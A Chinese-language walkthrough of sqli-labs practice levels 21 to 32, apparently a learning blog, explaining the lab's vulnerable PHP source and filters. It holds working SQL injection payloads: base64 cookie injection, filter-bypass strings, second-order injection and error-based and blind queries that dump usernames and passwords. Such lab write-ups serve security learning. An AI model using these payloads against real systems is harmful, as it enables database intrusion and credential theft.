less-21(头部Cookie、Base64加密、单引号括号、联合查询)
base64_encode()
base64_decode()
less-22(头部Cookie、Base64加密、双引号、联合查询)
less-23(GET型、【#,- -】注释过滤、单引号、联合查询)
preg_replace()
less-24(二次注入)
第一次登录
第二次登录
修改密码
创建新用户
session_start()
$_SESSION
mysqli_affected_rows()
session_destroy()
less-25(GET型、【or,and】过滤、单引号、双写绕过联合查询)
less-25a
less-26(GET型、【or,and,/,\,*,-,#,空格】过滤、单引号,报错回显与布尔盲注)
PHP正则表达式
1.preg_replace()
2.正则表达式的格式
3.Modifier
4.集合
less-26a(GET型、【or,and,/,\,*,-,#,空格】过滤、单引号括号,报错回显与布尔盲注)
less-27(GET型、【/,*,-,#,空格,+,select,union】、单引号、报错回显与布尔盲注)
less-27a(GET型、【/,*,-,#,空格,+,select,union】、单引号、布尔盲注)
less-28(GET型、【/,*,-,#空格,+】、单引号括号、布尔盲注)
less-28a
less-29(GET型、单引号、HTTP参数污染绕过)
SERVER[‘QUERY_STRING’]
preg_match()
explode()
foreach()
GET的取值方式
less-30(GET型、双引号、HTTP参数污染绕过)
less-31(GET型、双引号括号、HTTP参数污染绕过)
less-32(GET型、单引号、preg_replace()转义、宽字节注入与联合查询)
strlen()
ord()
dechex()
preg_quote()
less-33(GET型、单引号、addslashes()转义、宽字节注入与联合查询)
addslashes()
less-34(POST型、单引号、addslashes()转义、宽字节注入与联合查询)
less-35(GET型、数字型、addslashes()转义、宽字节注入联合查询)
less-36(GET型、单引号、mysqli_real_escape_string()转义、宽字节注入联合查询)
mysqli_real_escape_string()
less-37(POST型、单引号、mysqli_real_escape_string()转义、宽字节注入联合查询)
less-21
标题:Cookie injection base64 encoded single quotes and parenthesis
文章标题告知是 base64编码的 ') 闭合的cookie注入
和20关的流程一样,我们抓包能看到
cookie是加密的,base64是一种常见的加密格式,怎么判断是不是base64呢,一般是
- 字符串的长度为4的整数倍。
- 字符串的符号取值只能在 A-Z, a-z, 0-9, +, /,
= 共计65个字符中,且 = 如果出现就必须在结尾出现。
可详见
一篇文章彻底弄懂Base64编码原理
快速判断字符串是不是base64编码
base64编码是一种常用的字符编码,在很多地方都会用到。但base64不是安全领域下的加密解密算法。能起到安全作用的效果很差,而且很容易破解,他核心作用是传输数据的正确性,有关网关或系统只能使用ASCII字符。base64就是用来将非ASCII字符的数据转换成ASCII字符的一种方法,而且base64特别适合在http,mime协议下快速传输数据。
常见的编码,大家可以了解下,比如
页面编码(utf-8、gbk、gbk2312)、ASCII编码、HTML编码、URL编码、js编码、hex编码、base64编码、json编码、序列化、utf7编码
此处是base64编码(这玩意就是感觉嘛,一般也不会拿这个做加密)
我们拿原文解个密
其实也就是我们需要在传值前做个加密即可,网上有的是burpsuite也自带加密功能(快捷键是ctrl+B),如下
payload
JykgdW5pb24gc2VsZWN0IDEsKHNlbGVjdCBncm91cF9jb25jYXQoY29uY2F0X3dzKDB4N2UsdXNlcm5hbWUscGFzc3dvcmQpKSBmcm9tIHVzZXJzKSwzIw==
解密后:
') union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users),3#
查询语句
SELECT * FROM users WHERE username=('') union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users),3#') LIMIT 0,1
我们再看一下部分源码
setcookie('uname', base64_encode($row1['username']), time()+3600);
base64_encode()
字符串加密为base64格式
这里是服务器向前端传cookie时
$cookee = base64_decode($cookee);
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
base64_decode()
base64密文解密
这里是前端带cookie对服务器请求时,也是我们的注入点
除了加密其他地方跟20关一样
less-22
标题:Cookie injecttion base64 encoded - double quotes
标题来看是 base64加密的双引号cookie注入
换汤不换药,但是自己也需要一步步试一下
payload
IiB1bmlvbiBzZWxlY3QgMSwoc2VsZWN0IGdyb3VwX2NvbmNhdChjb25jYXRfd3MoMHg3ZSx1c2VybmFtZSxwYXNzd29yZCkpIGZyb20gdXNlcnMpLDMj
解密后:
" union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users),3#
查询语句
SELECT * FROM users WHERE username="" union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users),3#" LIMIT 0,1
less-23
标题:GET -Error based - strip comments
标题是基于报错的过滤注释
我们按步骤来
payload:1'
//报错,曝出后半段查询语句
payload:1' select 1,2,3 --+
//报错
我们发现 - - 被注释掉了
我们再试试
payload:1' select 1,2,3#
# 也被注释掉了
我们直接看源码,我们得知此关在原本的代码里加了这么个东西
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
preg_replace()
preg_replace函数执行一个正则表达式的搜索和替换,详见PHP preg_replace() 函数
语法:
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
参数 | 描述 |
---|---|
$pattern | 要搜索的模式,可以是字符串或一个字符串数组 |
$replacement | 用于替换的字符串或字符串数组 |
$subject | 要搜索替换的目标字符串或字符串数组 |
$limit | 可选,对于每个模式用于每个subject字符串的最大可替换次数。默认是-1(无限制) |
$count | 可选,为替换执行的次数。 |
就是说注释不能用了,咋治
只能联合查询
payload
-1' union select 1,2,3 and '1'='1
SELECT * FROM users WHERE id='-1' union select 1,2,3 and '1'='1d' LIMIT 0,1
后面就跟之前一样了
-1' union select 1,(select GROUP_CONCAT(username,password) from users),3 and '1'='1
SELECT * FROM users WHERE id='-1' union select 1,(select GROUP_CONCAT(username,password) from users),3 and '1'='1' LIMIT 0,1
当前语句还能缩减一下
payload
id=-1' union select 1,2,3='1
SELECT * FROM users WHERE id='-1' union select 1,2,3='1' LIMIT 0,1
SQL语句基础自己学
less-24
标题:POST - Second oder injections Real treat - Stored injections
不知道啥意思,搞不明白,看源码吧,源码太多,没法全贴
session原理部分详见PHP Session原理简析
基本流程如下
第一次登录
index.php(主页面)
session_start();
if (isset($_SESSION['username']) && isset($_COOKIE['Auth'])) {
header('Location: logged-in.php');
session_start()
启动session,根据session ID打开session文件,如果没有就创建一个ID(这个Session ID是通过一系列算法生成的一个唯一字符串)和对应的session文件。
session_start()函数必须位于html标签之前
我们看看数据包
我们以第一访问index时,请求包里是没有phpsessionID的,我们访问页面,服务器端session_start()以后,就会给前端传一个phpsessionid值
我们再次访问的时候,请求包里就会包含此phpsessionid值,我们访问其他本网站的页面也会携带此phpsessionid
这个phpsessionid值存活到浏览器关闭前
$_SESSION
存储和取回session变量
启动session,这里是判断两个变量( SESSION[‘username’]、COOKIE[‘Auth’])是否为空,第一次访问肯定是空的,我们先跳过
我们输入:
用户名:admin
密码:admin
对应的源码
<input name="login_user" id="login_user" type="text" value="" />
<input name="login_password" id="login_password" type="password" value="" />
我们向服务器输入了两个值
login_user和login_password
<form name="login" method="POST" action="login.php">
该表单提交到login.php,我们看一下login.php
也有session_start()
不 session_start() 拿不到 session数据
login.php自定义了一个方法 sqllogin()
function sqllogin($con1){
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = mysqli_real_escape_string($con1, $_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";
$res = mysqli_query($con1, $sql) or die('You tried to be real smart, Try harder!!!! :( ');
$row = mysqli_fetch_row($res);
//print_r($row) ;
if ($row[1]) {
return $row[1];
} else {
return 0;
}
}
将刚才index.php输入的login_user和login_password,转义后查询,
得到id、username、password赋值给 $res
然后将 其以关联数组的形式赋值给 $row
下面是做判断,如果 row[1] 有数据就返回,row[1] 就是 username没有就返回0
$login = sqllogin($con1);
if (!$login== 0)
{
$_SESSION["username"] = $login;
setcookie("Auth", 1, time()+3600); /* expire in 15 Minutes */
header('Location: logged-in.php');
}
sqllogin函数的结果赋值给变量 $login
如果不为空,则将查询到的username的值赋值给session变量username
一个变量Auth赋值为1作为cookie返回给用户
我们查看数据包
302重定向到logged-in.php
然后跳转到 logged-in.php页面
我们的请求包就携带Auth=1;了
刚上来就有个判断
session_start();
if (!isset($_COOKIE["Auth"]))
{
if (!isset($_SESSION["username"]))
{
header('Location: index.php');
}
header('Location: index.php');
}
判断cookie的Auth与session的username是否为空,只要有一个为空,就跳回首页
<?php
echo $_SESSION["username"];
?>
中间有一段PHP代码用来输出session的username的值,对应页面的
后面修改密码的先不看,我们第一次登录获取session就算完成了,对应的下面这一部分
这是我画的一个登录过程的流程图
第二次登录
session_start();
if (isset($_SESSION['username']) && isset($_COOKIE['Auth'])) {
header('Location: logged-in.php');
SESSION[‘username’] 与 COOKIE[‘Auth’] 是有值的
直接跳转到 logged-in.php
对应的流程图绿色部分
修改密码
<input name="current_password" id="current_password" type="text" value="" />
<input name="password" id="password" type="password" value="" />
<input name="re_password" id="re_password" type="password" value="" />
让我们输入三个值:
current_password、password、re_password
<input name="submit" id="submit" type="submit" value="update password" />
<input name="submit1" id="submit1" type="submit" value="Logout" />
还有两个值是:
submit、submit1
<form name="mylogin" method="POST" action="pass_change.php">
表单提交到pass_change.php
开头同样是
session_start();
if (!isset($_COOKIE["Auth"]))
{
if (!isset($_SESSION["username"]))
{
header('Location: index.php');
}
header('Location: index.php');
}
session_start(),判断cookie的Auth与session的username是否为空,只要有一个为空,就跳回首页
if (isset($_POST['submit']))
{
# Validating the user input........
$username= $_SESSION["username"];
$curr_pass= mysqli_real_escape_string($con1, $_POST['current_password']);
$pass= mysqli_real_escape_string($con1, $_POST['password']);
$re_pass= mysqli_real_escape_string($con1, $_POST['re_password']);
if($pass==$re_pass)
{
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
$res = mysqli_query($con1, $sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysqli_affected_rows($con1);
echo '<font size="3" color="#FFFF00">';
echo '<center>';
if($row==1)
{
echo "Password successfully updated";
}
else
{
header('Location: failed.php');
//echo 'You tried to be smart, Try harder!!!! :( ';
}
}
else
{
echo '<font size="5" color="#FFFF00"><center>';
echo "Make sure New Password and Retype Password fields have same value";
header('refresh:2, url=index.php');
}
}
判断submit是否为空,就是看看logged-in.php传进来的值是修改密码还是退出登录假设是修改密码
$pass==$re_pass
先判断新密码两次输入是否一致
然后根据username和 现密码 查询并修改密码为新密码
$row = mysqli_affected_rows($con1);
mysqli_affected_rows()
mysqli_affected_rows() 函数返回前一次 MySQL 操作(SELECT、INSERT、UPDATE、REPLACE、DELETE)所影响的记录行数。
语法:
mysqli_affected_rows(connection);
参数 | 描述 |
---|---|
connection | 必需。规定要使用的 MySQL 连接。 |
下面是判断是不是影响一行,影响一行就返回成功,多行就跳转到failed.php,failed.php就一张图片告诉你别乱搞
header('refresh:2, url=index.php');
这里的refresh:2是两秒后刷新页面
if(isset($_POST['submit1']))
{
session_destroy();
setcookie('Auth', 1 , time()-3600);
header ('Location: index.php');
}
这里就是退出登录操作
session_destroy()
注销session,这个就是关闭session,并删除掉相应的session文件了。切断了客户端和服务端的联系。
session_destroy() 将重置 session,您将失去所有已存储的 session 数据。
cookie有效时间减一小时,最后跳转到index.php
修改密码流程图如下
忘记密码功能里面没东西
创建新用户
点击跳转到 new_user.php
这里就是新模块了,跟登录、修改密码是不挂钩的
<input name="username" id="username" type="text" value="" />
<input name="password" id="password" type="password" value="" />
<input name="re_password" id="re_password" type="password" value="" />
输入3个值,username、password、re_password
<form name="mylogin" method="POST" action="login_create.php">
然后提交到login_create.php
session_start();
if (isset($_POST['submit']))
{
# Validating the user input........
//$username= $_POST['username'] ;
$username= mysqli_real_escape_string($con1, $_POST['username']) ;
$pass= mysqli_real_escape_string($con1, $_POST['password']);
$re_pass= mysqli_real_escape_string($con1, $_POST['re_password']);
echo "<font size='3' color='#FFFF00'>";
$sql = "select count(*) from users where username='$username'";
$res = mysqli_query($con1, $sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysqli_fetch_row($res);
//print_r($row);
if (!$row[0]==0)
{
?>
<script>alert("The username Already exists, Please choose a different username ")</script>;
<?php
header('refresh:1, url=new_user.php');
}
else
{
if ($pass==$re_pass)
{
# Building up the query........
$sql = "insert into users (username, password) values(\"$username\", \"$pass\")";
mysqli_query($con1, $sql) or die('Error Creating your user account, : '.mysqli_error($con1));
echo "</br>";
echo "<center><img src=../images/Less-24-user-created.jpg><font size='3' color='#FFFF00'>";
//echo "<h1>User Created Successfully</h1>";
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>Redirecting you to login page in 5 sec................";
echo "<font size='2'>";
echo "</br>If it does not redirect, click the home button on top right</center>";
header('refresh:5, url=index.php');
}
else
{
?>
<script>alert('Please make sure that password field and retype password match correctly')</script>
<?php
header('refresh:1, url=new_user.php');
}
}
}
先是判断submit是不是空
$sql = "select count(*) from users where username='$username'";
然后做了个查询,判断查询有没有结果,有结果说明用户名已经存在,就跳转到new_user.php注册页面
如果没有结果,说明没有同名,然后判断两次密码输入是否一致
$sql = "insert into users (username, password) values(\"$username\", \"$pass\")";
如果一致,做了个数据库插入操作,然后跳转回index.php
如果不一致,跳转回new_user.php注册页面
流程图
这种怎么搞,我们先理一下思路,SQL注入是为了向后端传值,我们应该找什么,找输入点,首先输入点有三处,而且都是post类型
1.登录输入【用户名】【密码】
2.修改密码输入【现密码】【新密码】【重复新密码】
3.注册输入【用户名】【密码】
当然我们看源码知道都做了转义,了但实际遇到的时候,都需要考虑可能存在哪些注入的,还是运用之前的知识
1.登录select
SELECT * FROM users WHERE username='$username' and password='$password'
2.修改密码update
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
3.注册输入insert
insert into users (username, password) values(\"$username\", \"$pass\")
这样是不是能稍微有点亲切感
这题的注入点在这,这个$username取的是session的username的值
$username= $_SESSION["username"];
这个吊毛没做转义,其他地方虽然做转义了,但是没做过滤,所以我们只需要注册个账号叫
账号:admin'#
密码:123
登录后修改密码
new password:abc
retype password:abc
构造成的查询语句
UPDATE users SET PASSWORD='abc' where username='admin'#' and password='123'
相当于只判断用户名,即可完成密码修改
看一下数据库
完成
less-25
标题:GET - Error based All your OR & AND belong to us string single quote
get类型单引号基于报错(OR/AND)过滤的注入
payload:'
//报错,曝出后半段查询语句
payload:' and '1'='1
and被过滤了,但为什么还有值呢,我们看一下Navicat
这里就牵扯SQL的逻辑结构了详见WHERE id=1=0
这里的
id='1' '1'='1'
等于
(id='1' '1')='1'
等于
(id='11') = TRUE
这题的话,不用and和or不影响我们回显数据库内容
payload
0' union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 -- -
查询语句
SELECT * FROM users where id='0' union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 -- -' limit 0,1
我们发现password被过滤了or,焯
我们尝试这么写试试
passwoorrd
ok,那还是可以用or和and嘛
我们看一下源码
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
源码自定义了一个blacklist方法,用来过滤or和and
$id=$_GET['id'];
但是在文中只调用了一次,所以我们可以用
oorr 或 aandnd
之类的方法绕过,其他都跟之前的get型注入一样
less-25a
没有页面
less-26
标题:GET - Error based - All your SPACES and COMMENTS belong to us
过滤空格和注释
payload
'or'1'='1#
不光是空格注释被过滤了,or和and也被过滤了
爆数据库
'aandnd(updatexml(1,concat(0x7e,database()),1))aandnd'1'='1
查询语句
SELECT * FROM users WHERE id=''and(updatexml(1,concat(0x7e,database()),1))and'1'='1' LIMIT 0,1
爆表
'aandnd(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))aandnd'1'='1
SELECT * FROM users WHERE id=''and(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1))and'1'='1' LIMIT 0,1
这里需要绕过过滤,可参考
SQL注入一些过滤及绕过总结
SQL注入过滤的绕过
这里是用括号绕过了空格的过滤
爆字段
'aandnd(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security')aandnd(table_name='users'))),1))aandnd'1'='1
SELECT * FROM users WHERE id=''and(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema='security')and(table_name='users'))),1))and'1'='1' LIMIT 0,1
爆账号密码
'aandnd(updatexml(1,concat(0x7e,(select(group_concat(concat_ws(0x7e,username,passwoorrd)))from(users))),1))aandnd'1'='1
SELECT * FROM users WHERE id=''and(updatexml(1,concat(0x7e,(select(group_concat(concat_ws(0x7e,username,password)))from(users))),1))and'1'='1' LIMIT 0,1
因为limit
后面没法跟空格,所以没法使用,不适用limit
就不能获取全部账号密码
这时候需要知道,若存在
空格过滤
中间件是Apache
**只能采用盲注获取字段值**
如下的方法
SELECT * FROM users WHERE id='1'and(ascii(substr((select(group_concat(username))from(users)),1,1))=68)and'1'='1' LIMIT 0,1
逗号的ascii码是44,注意一下用来区分字段值
我们看一下源码的过滤函数
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
该函数采用正则表达式过滤字符,正则表达式可参考
正则表达式中的/\\\\/四个反斜杠含义
php中正则表达式详解
PHP正则表达式
正则表达式
PHP正则表达式
我们不可能全抄,只提一下我们用到的
1.preg_replace()
preg_replace(正则表达式、替换成什么、匹配的字符串)
正则表达式的格式
2.正则表达式的格式
"/表达式/[修饰符]"
3.修饰符
i
使用此修饰符后,搜索时不区分大小写:A和a没有区别
g
使用此修饰符后,搜索时会查找所有的匹配项
,如果没有标志 g,则正则表达式仅查找第一个匹配项
m
多行模式,这仅仅会影响 ^ 和 $ 锚符的行为
,在多行模式下,它们不仅仅匹配文本的开始与结束,还匹配每一行的开始与结束
插入符号 ^ 和美元符号 $ 在正则表达式中具有特殊的意义。它们被称为“锚点”。
插入符号 ^ 匹配文本开头,而美元符号 $ - 则匹配文本末尾
如:测试一下文本是否以 Mary 开头:^Mary
s
启用 “dotall” 模式,允许点 . 匹配换行符 \n(默认情况下,点与换行符 \n 不匹配)
4.集合
[eao] 意味着查找在 3 个字符 'a'、'e' 或者 ‘o’ 中的任意一个
如上
$id= preg_replace('/or/i',"", $id);
不区分大小写的替换or
$id= preg_replace('/[\/\*]/',"", $id);
替换 ‘/’ 或 ‘*’ 中的任意一个
$id= preg_replace('/[\/\\\\]/',"", $id);
替换 ‘/’ 或 ‘\’ 中的任意一个
$id= preg_replace('/select/m',"", $id);
因为多行模式仅仅会影响 ^ 和 $ 锚符的行为,所以这里m没有意义
$id= preg_replace('/union/s',"", $id);
/s允许点 . 匹配换行符 \n,这里没有 . ,所以没有意义
less-26a
标题:GET - Blind Based -All your SPACES and COMMENTS belong to us - String single quotes Parenthesis
跟26关一样,就是闭合变为’)了
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
less-27
标题:GET -Error Based -All your UNION & SELECT Belong to us - String -Single quote
这里应该是吧union和select也过滤了
我们试试
payload
and or union UnIoN select sElEcT--#
and和or没过滤,空格被过滤了
select和union可以通过大小写混合绕过
注释可以用单引号闭合绕过
因为中间件是Apache,所以空格没办法采用 %a0 或 %0b 绕过
我们输入1’
可以看出来是单引号闭合
查数据库
1'and(updatexml(0,concat(0x7e,database()),0))and'1'='1
SELECT * FROM users WHERE id='1'and(updatexml(0,concat(0x7e,database()),0))and'1'='1' LIMIT 0,1
查表
1'and(updatexml(0,concat(0x7e,(sElEcT(GROUP_CONCAT(table_name))from(information_schema.tables)where(table_schema='security'))),0))and'1'='1
SELECT * FROM users WHERE id='1'and(updatexml(0,concat(0x7e,(sElEcT(GROUP_CONCAT(table_name))from(information_schema.tables)where(table_schema='security'))),0))and'1'='1' LIMIT 0,1
查字段
1'and(updatexml(0,concat(0x7e,(sElEcT(GROUP_CONCAT(column_name))from(information_schema.columns)where((table_schema='security')and(table_name='users')))),0))and'1'='1
SELECT * FROM users WHERE id='1'and(updatexml(0,concat(0x7e,(sElEcT(GROUP_CONCAT(column_name))from(information_schema.columns)where((table_schema='security')and(table_name='users')))),0))and'1'='1' LIMIT 0,1
查值,这时候,要想获取全部的用户名密码只能用盲注去猜了
1'and(ascii(substr((sElEct(group_concat(username))from(users)),1,1))=68)and'1'='1
SELECT * FROM users WHERE id='1'and(ascii(substr((sElEct(group_concat(username))from(users)),1,1))=68)and'1'='1' LIMIT 0,1
我们看一下源码的过滤
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
正则表达式上一关讲过了
less-27a
标题:GET - Blind Based -All your UNION & SELECT Belong to us Double Quotes
输入 1'
,不报错
输入1"
不报错,盲注类型的
只能猜
payload
and or union UnIoN select sElEcT--#
我们看看源码
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out Select
return $id;
}
猜库
1"and(ascii(substr((database()),1,1))=115)and"1"="1
SELECT * FROM users WHERE id="1"and(ascii(substr((database()),1,1))=115)and"1"="1" LIMIT 0,1
猜表
1"and(ascii(substr((sElEcT(group_concat(table_name))from(information_schema.tables)where(table_schema='security')),1,1))=101)and"1"="1
SELECT * FROM users WHERE id="1"and(ascii(substr((sElEcT(group_concat(table_name))from(information_schema.tables)where(table_schema='security')),1,1))=101)and"1"="1" LIMIT 0,1
猜字段
1"and(ascii(substr((sElEcT(group_concat(column_name))from(information_schema.columns)where((table_schema='security')and(table_name='users'))),1,1))=105)and"1"="1
SELECT * FROM users WHERE id="1"and(ascii(substr((sElEcT(group_concat(column_name))from(information_schema.columns)where((table_schema='security')and(table_name='users'))),1,1))=105)and"1"="1" LIMIT 0,1
猜字段值
1"and(ascii(substr((sElEct(group_concat(username))from(users)),1,1))=68)and"1"="1
SELECT * FROM users WHERE id="1"and(ascii(substr((sElEct(group_concat(username))from(users)),1,1))=68)and"1"="1" LIMIT 0,1
OK
less-28
标题:GET - Error Based All your UNION & SELECT Belong to us - String - single quote with parenthesis
输入 1'
输入 1'and'1'='1
输入 1'and'1'='2
输入
1'and(ascii(substr((database()),1,1))=115)and'1'='1
但我们看源码
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
其实人家是 ')
闭合的
但看一下,也能完成闭合,也没什么毛病
看一下过滤函数
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}
最后一个过滤union
和select
的好像没什么用,我没看懂啥意思
less-28a
标题:GET - Blind Based -All your UNION & SELECT Belong to us single quote - parenthesis
这一关没看出有啥过滤的来
function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
//$id= preg_replace('/[--]/',"", $id); //Strip out --.
//$id= preg_replace('/[#]/',"", $id); //Strip out #.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out spaces.
return $id;
}
源码这个过滤也不知道过滤的啥
less-29
标题:GET - Error based IMPIDENCE MISMARCH Having a WAF in front of web application
标题说是有个防火墙,没搞懂
这一关没看源码前我试了一下就是单引号GET型注入
我们看一下源码有什么不同
这关有三个文件
直接访问网站的话是跳到主页文件index.php
index.php没有什么特殊的,只是多了一句
$qs = $_SERVER['QUERY_STRING'];
$hint=$qs;
$_SERVER[‘QUERY_STRING’]
详见
PHP 超级全局变量
详解 $_SERVER 函数中QUERY_STRING和REQUEST_URI区别
$_SERVER['QUERY_STRING']
用来获取?
后的值
本题中获取的是id=....
的值
index.php就这些了,没其他东西了,我们看看login.php
whitelist方法
//WAF implimentation with a whitelist approach..... only allows input to be Numeric.
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
if($match)
{
//echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}
preg_match()
preg_match函数用于执行一个正则表达式匹配
详见PHP preg_match() 函数
语法:
int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )
参数 | 描述 |
---|---|
$pattern | 要搜索的模式,字符串形式 |
$subject | 输入字符串 |
返回值:
返回pattern的匹配次数。它的值将是0次(不匹配)或1次,因为preg_match()在第一次匹配后将会停止搜索。preg_match_all()不同于此,它会一直搜索subject直到到达结尾。如果发生错误preg_match()返回FALSE
"/^\d+$/"
代表完全匹配数字
所以此处代码意思是对传进来的input
变量进行判断,若不为纯数字则跳转到hacked.php
,hacked.php
只有个a标签跳转回login.php
我们继续看login.php
的下个自定义方法java_implimentation()
// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);
foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id")
{
$id_value=substr($value,3,30);
return $id_value;
echo "<br>";
break;
}
}
}
explode()
定义和用法:
explode() 函数使用一个字符串分割另一个字符串,并返回由字符串组成的数组。
语法:
explode(separator,string,limit)
参数 | 描述 |
---|---|
separator | 必须。规定在哪里分割字符串 |
string | 必须。要分割的字符串 |
返回值:
返回字符串数组
foreach()
定义和用法:
遍历数组array_expression和键名,键名赋值给key,值赋值给value
语法:
foreach (array_expression as $key => $value)
参数 | 描述 |
---|---|
array_expression | 必需。要遍历的数组 |
key | 存储键名 |
value | 存储值 |
java_implimentation($query_string)
方法将传进来的字符按&
分割,传入数组qs_array
,然后循环遍历数组,取数组值的前两位,若是id
,则返回数组值的[3-33]
位字符
我们看一下主函数部分
if(isset($_GET['id']))
{
$qs = $_SERVER['QUERY_STRING'];
$hint=$qs;
$id1=java_implimentation($qs);
$id=$_GET['id'];
//echo $id1;
whitelist($id1);
$id1=java_implimentation($qs);
首先是对传进来的?
后面的值带入到java_implimentation()
里面,这个函数是防止我们往id=
后面加&
所有做个判断只取id=
后和&
之间的内容,目前我也没用过&
构造查询语句啊,继续往下看吧
whitelist($id1);
然后是这个函数对处理后的id1
的值进行判断是不是纯数字,不是就重新开始
但还是有问题,问题出在哪呢
出在这,他虽然对id
值进行各种判断各种过滤,但没有取最终过滤好的id1
啊,依旧取了前端直接传来的id
,这属于开发逻辑上的错误的,所有我们这里只需要绕过判断即可
1&id=-1' union select 1,2,3 -- -
完整链接
http://localhost/sqli/Less-29/login.php?id=1&id=-1' union select 1,2,3 -- -
查询语句
SELECT * FROM users WHERE id='-1' union select 1,2,3 -- -' LIMIT 0,1
$_GET的取值方式
这里还用到一个知识点就是,我们传了两个id
值,一个是1
,一个是-1' union select 1,2,3 -- -
当有两个id值,$_GET
会取哪个,$_GET
应该是从后往前取的,我们看一下
所以我们再看一下我之前给的payload
取的值是后面的值
所以这题能产生注入的点就是因为$_GET方法
的取值
less-30
标题:GET - BLIND - IMPIDENCE MISMATCH - Having a WAF in front of web application
这关跟29关一样,也说有个防火墙,就是没搞懂,有搞懂的大哥求求私信告诉我
第30关跟29关情况一样,index.php
就是变成了"
闭合
less-31
标题: GET - BLIND - IMPIDENCE MISMATCH - Having a WAF in front of web application
跟29、30关一样,只不过闭合变成了")
less-32
标题:GET - Bypass custom filter adding slashes to dangerous chars
页面上有两句话
Hint: The Query String you input is escaped as : 1
The Query String you input in Hex becomes : 31
/提示:您输入的查询字符串转义为:1
/以十六进制输入的查询字符串变为:31
我们看一下源码,里面加了两个自定义方法
strToHex()
function strToHex($string)
{
$hex='';
for ($i=0; $i < strlen($string); $i++)
{
$hex .= dechex(ord($string[$i]));
}
return $hex;
}
strlen()
定义用法:
strlen()
函数返回字符串的长度,中文字符串的处理使用 mb_strlen()
函数。
语法:
strlen(string)
ord()
定义和用法:
ord()
函数返回字符串中第一个字符的 ASCII 值。
语法:
ord(string)
dechex()
定义和用法:
dechex()
函数把十进制数转换为十六进制数。
提示:如需把十六进制转换为十进制,请查看 hexdec()
函数。
